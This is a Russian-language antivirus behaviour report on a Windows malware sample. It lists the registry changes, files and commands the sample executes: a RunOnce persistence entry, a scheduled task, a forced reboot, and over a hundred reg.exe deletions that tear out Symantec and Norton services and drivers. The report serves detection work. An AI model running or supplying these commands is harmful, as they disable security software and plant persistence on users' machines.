Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] '*del2' = '%WINDIR%\temp\del2.bat'
Создает или изменяет следующие файлы:
- %WINDIR%\Tasks\At1.job
Вредоносные функции:
Запускает на исполнение:
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{24DF7221-644B-4C3A-A478-459502D40522}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{206FD69B-F9FE-4164-81BD-D52552BC9C23}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{40DA9A54-48CA-4A2C-AEAF-F67715BB046E}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{DDC63227-BA06-4855-B002-BDB49E9F677E}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{45690715-80A6-4445-B61D-ADEC5888E8CD}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\LiveUpdate" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\Automatic LiveUpdate Scheduler" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\LiveUpdate Notice" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{0BDD3FAD-61CD-4BF3-B9C4-4CEFD43F53F8}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{022DA2C3-81C7-4003-A6BC-1BB147B20097}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{2DA85B02-13C0-4E6D-9A76-22E6B3DD0CB2}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{2D617065-1C52-4240-B5BC-C0AE12157777}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3074EB89-1BCA-4AEF-AFF4-EFB4634C1923}" /f
- '<SYSTEM32>\attrib.exe' +H %WINDIR%\temp\del2.bat
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{31478BE1-CDE5-4753-A8B2-F6D4BC1FBE09}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1CA941F1-5006-487E-9FD4-09F812A7D6B8}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E80F62FF-5D3C-4A19-8409-9721F2928206}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Symantec" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{228F6876-A313-40A3-91C0-C3CBE6997D09}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{21829177-4DED-4209-AD08-490B3AC9C01A}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\Symantec Core LC" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SPBBCSvc" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SymEvent" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SymIDSCO" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SymIDS" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SAVRTPEL" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SAVRT" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SAVScan" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SPBBCDrv" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SBService" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SYMTDI" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SYMREDRV" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SRTSP" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SRTSPX" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SRTSPL" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SymIMMP" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SymIM" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SYMFW" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SYMNDIS" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SYMDNS" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{34EEB1F5-E939-40A1-A6BA-957282A4B2C8}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E6FACC40-ADAA-460F-B755-756458884B1D}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E3EFA461-EB83-4C3B-9C47-2C1D58A01555}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E8176C35-0C2D-4142-9ED4-81861ECAB403}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{F20A0464-F407-4EBE-BC78-F2CA59743DFA}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{EFB5B3B5-A280-4E25-BE1C-634EEFE32C1B}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C1C185CA-C531-49F5-A6FA-B838405A049D}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{B24E05CC-46FF-4787-BBB8-5CD516AFB118}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D353CC51-430D-4C6F-9B7E-52003DA1E05A}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D6E6FA4A-5445-4850-8365-CF216C1CBB7A}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D4BB907A-623E-4F07-8787-041ABAE088E4}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\LiveUpdate" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SymSetup.{C1C185CA-C531-49F5-A6FA-B838405A049D}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\PsuedoLiveUpdate" /f
- '<SYSTEM32>\reg.exe' delete "HKCR\AppID\NavShExt.DLL" /f
- '<SYSTEM32>\reg.exe' delete "HKCR\AppID\NavShcom.EXE" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SymcData-idsdefs" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{F4DB525F-A986-4249-B98B-42A8066251CA}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SymNetDrv" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SymSetup.{420F8FCF-8F5E-4518-A5B3-FBBD56B98FEC}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SymSetup.{2D617065-1C52-4240-B5BC-C0AE12157777}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{47A86BDE-6871-4A8A-BB49-21FAF754E00E}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{420F8FCF-8F5E-4518-A5B3-FBBD56B98FEC}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{4843B611-8FCB-4428-8C23-31D0A5EAE164}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{55A6283C-638A-4EE0-B491-51118554BDA2}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{4AAD206E-0557-440F-8A98-94921A64BF4B}" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "*del2" /t REG_SZ /d "%WINDIR%\temp\del2.bat" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3B29A786-5803-4E9E-9B58-3014A5B4E519}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3CCAD2EF-CFF2-4637-82AA-AABF370282D3}" /f
- '<SYSTEM32>\shutdown.exe' -r -t 15 -f -c "PCВЁН─ЛNУоВ╡В▄В╖БBН─ЛNУоМуБAВрВ╡ОйУоУIВ╔ГCГУГ^Б[ГlГbГgВ╔Р┌С▒В┼ВлВ╚ВвПъНЗВ═ВиОшРФВ┼В▓В┤ВвВ▄В╖ВкБAОшУоВ┼ГCГУГ^Б[ГlГbГgВ╔Р┌С▒В╡В─ВвВ╜В╛ВлВ▄В╖ВцВдВиКшВвВвВ╜В╡В▄В╖БB"
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3D5BB581-2550-4E10-AC29-84D9D8894278}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{77FFBA7E-0973-4F39-BBDB-AC2F537578D2}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{779F426C-A8F3-414B-B7AF-B6BDC9B8E040}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90857063-5361-4590-B43B-E80F90BE510D}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{AB70ABEC-771B-47CB-9E41-DF77DE4FFC5C}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{92B1B3CC-EC78-45B8-96D0-8B3F11495864}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{62120008-8E1E-4807-860D-A8B48F8552DB}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5677563D-0CB1-485F-9E18-C5025306BB3F}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{63A6E9A9-A190-46D4-9430-2DB28654AFD8}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{77772678-817F-4401-9301-ED1D01A8DA56}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{66B9BD1F-4189-4f35-BD82-9948720A04CF}" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\NAVEX15" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SymEFA" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_NORTON_INTERNET_SECURITY" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SYMEFA" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\NIS" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\NIS" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\EECTRL" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\BHDRVX86" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\ERASER UTILREBOOTDRV" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\Norton Internet Security" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\IDSXPX86" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_N360" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\NAV" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\N360" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\N360" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\N360" /f
- '<SYSTEM32>\reg.exe' delete "HKCU\SOFTWARE\Norton" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Norton" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\Norton AntiVirus" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\NAV" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_NORTON_ANTIVIRUS" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SYMIRON" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SYMDS" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SYMTDIV" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_CCSET_NIS" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_CCSET_NAV" /f
- '<SYSTEM32>\at.exe' 17:26 "%WINDIR%\temp\del.bat"
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\SymRem.bat""
- '<SYSTEM32>\ping.exe' localhost -n 90
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_NIS" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_CCHP" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\NIS" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\CCHP" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SYMDS" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SYMTDIV" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SYMIRON" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_BHDRVX86" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_CCSET_N360" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_EECTRL" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_IDSXPX86" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_ERASERUTILREBOOTDRV" /f
- '<SYSTEM32>\reg.exe' delete "HKCU\SOFTWARE\Symantec" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_Automatic LiveUpdate Scheduler" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SPBBCSvc" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_LiveUpdate" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\SYMC_SYMIMMP" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_LiveUpdate Notice" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SAVRTPEL" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SAVRT" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SAVScan" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SPBBCDrv" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SBService" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\ccProxy" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\ccSetMgr" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\EraserUtilRebootDrv" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\NAVENG" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\IDSxpx64" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\BHDrvx64" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\SYMC_TEEFER2MP" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\CLTNetCnService" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\ccPwdSvc" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\ccEvtMgr" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_COH_MON" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_CO_MON" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_NAVENG" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SRTSP" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_NAVEX15" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_CCEVTMGR" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_BHDrvx64" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_CCPROXY" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_CLTNETCNSERVICE" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_CCSETMGR" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SYMIDSCO" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SYMIDS" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SYMNDIS" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SYMTDI" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SYMREDRV" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SYMANTEC_CORE_LC" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SRTSPX" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SYMDNS" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SYMFW" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_SYMEVENT" /f
Пытается завершить работу операционной системы Windows.
Изменения в файловой системе:
Создает следующие файлы:
- %WINDIR%\Temp\del2.bat
- %WINDIR%\Temp\del.bat
- %TEMP%\1.tmp\SymRem.bat
Удаляет следующие файлы:
- %TEMP%\1.tmp\SymRem.bat
